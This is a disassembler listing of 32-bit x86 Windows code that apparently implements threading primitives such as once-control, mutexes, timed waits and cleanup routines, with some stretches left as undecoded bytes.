		push	esi
		push	edi
		mov	edi, [esp+14h+arg_0]
		test	edi, edi
		jz	loc_43219E
		mov	esi, [esp+14h+arg_4]
		test	esi, esi
		jnz	short loc_432132
		or	eax, 0FFFFFFFFh


loc_43211C:				; CODE XREF: sub_432100+7Fj
		push	eax
		mov	eax, [edi]
		mov	ecx, [eax]
		push	ecx
		nop
		call	near ptr 2790664h
		test	eax, eax
		jnz	short loc_43218C
		pop	edi
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		call	near ptr 77C49113h
		nop
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 279092Ah
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		nop
		call	near ptr 77C1F2BCh
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103C8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 7DE89056h, 0E80241DEh, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 2790664h
		nop
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		nop
		call	near ptr 28502B8h


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		call	near ptr 2800886h
		nop
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103AC, eax
		nop
		call	near ptr 28C0000h
		test	eax, eax
		mov	dword_5103C8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103AC
		mov	dword_5103C8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 277035Ch
		mov	dword_5103AC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 0D5E89052h, 0E80233D9h
		dd 0FFFCF015h, 5103ACA1h, 74C08500h, 0E8905007h, 233DD1Ch
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103B4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103B40Dh, 4C48300h,	6A118Bh, 35E89052h
		db 0D9h, 33h, 2
; ---------------------------------------------------------------------------


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_510980
		xor	esi, esi
		call	near ptr 7C901005h
		nop
		mov	eax, dword_5103BC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_510980
		call	near ptr 7C9010EDh
		nop
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103B4
		mov	dword_5103B0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103B8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108C0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510940
		call	esi
		mov	eax, dword_5103B0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103B0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103B4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103B8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103B8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108C0
		nop
		call	near ptr 7C901005h
		mov	eax, dword_447708
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108C0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_511864
		push	offset dword_510940
		call	esi
		push	offset dword_510960
		call	esi
		push	offset dword_510900
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5108C0
		call	esi
		mov	dword_5103B0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103B4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		call	near ptr 77C2C21Bh
		nop
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax


loc_432C2E:				; CODE XREF: ___:00432CA7j
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103B4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
; ---------------------------------------------------------------------------
		adc	[ebx-47CFB3Ch],	al
		add	cl, [ebx-7CF28B08h]
		sti
		add	[eax+ecx+6Ah], esi
		add	[eax-7F8E2918h], edx
		ja	short loc_432C2E
		push	dword ptr [esi+eax-0Ah]
		inc	edi
		jl	short near ptr loc_432CB0+1


loc_432CB0:				; CODE XREF: ___:00432CAEj
		jz	short loc_432CD5
		push	esi
		mov	eax, ebx
		xor	esi, esi
		dec	eax
		jz	short loc_432CC2
		dec	eax
		jnz	short loc_432CC5
		or	esi, 0FFFFFFFFh
		jmp	short loc_432CC5
; ---------------------------------------------------------------------------


loc_432CC2:				; CODE XREF: ___:00432CB8j
		mov	esi, [edi+14h]


loc_432CC5:				; CODE XREF: ___:00432CBBj
					; ___:00432CC0j
		call	sub_4017CB
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		pop	esi


loc_432CD5:				; CODE XREF: ___:loc_432CB0j
		push	1
		call	sub_401B22
; ---------------------------------------------------------------------------
		dd 8304C483h, 57533CC7h, 408AE890h, 90907780h, 90909090h
		dd 8 dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432D10	proc near		; CODE XREF: sub_401B22j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_401122
sub_432D10	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		call	near ptr 27B02DCh
		nop
		push	eax
		call	near ptr 2760C14h
		nop
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

